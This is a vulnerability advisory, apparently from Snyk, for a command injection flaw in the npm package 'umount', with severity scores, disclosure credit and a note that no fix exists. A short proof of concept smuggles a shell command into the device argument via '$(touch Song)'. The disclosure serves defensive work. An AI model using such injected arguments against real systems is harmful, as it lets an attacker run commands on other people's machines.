Command Injection Affecting umount package, versions *


0.0
medium

Snyk CVSS

    Attack Complexity High
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.36% (69th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-UMOUNT-564265
  • published 2 Apr 2020
  • disclosed 2 Apr 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for umount.

Overview

umount is a device in UNIX, do nothing in Windows.

Affected versions of this package are vulnerable to Command Injection. The argument device can be controlled by users without any sanitization.

PoC

var root = require("umount");
var device = '\" $(touch Song) \"';
root.umount(device, function(){});

the injection point is located in line 52 of index file build/umount.js in the exported function umount(device, callback).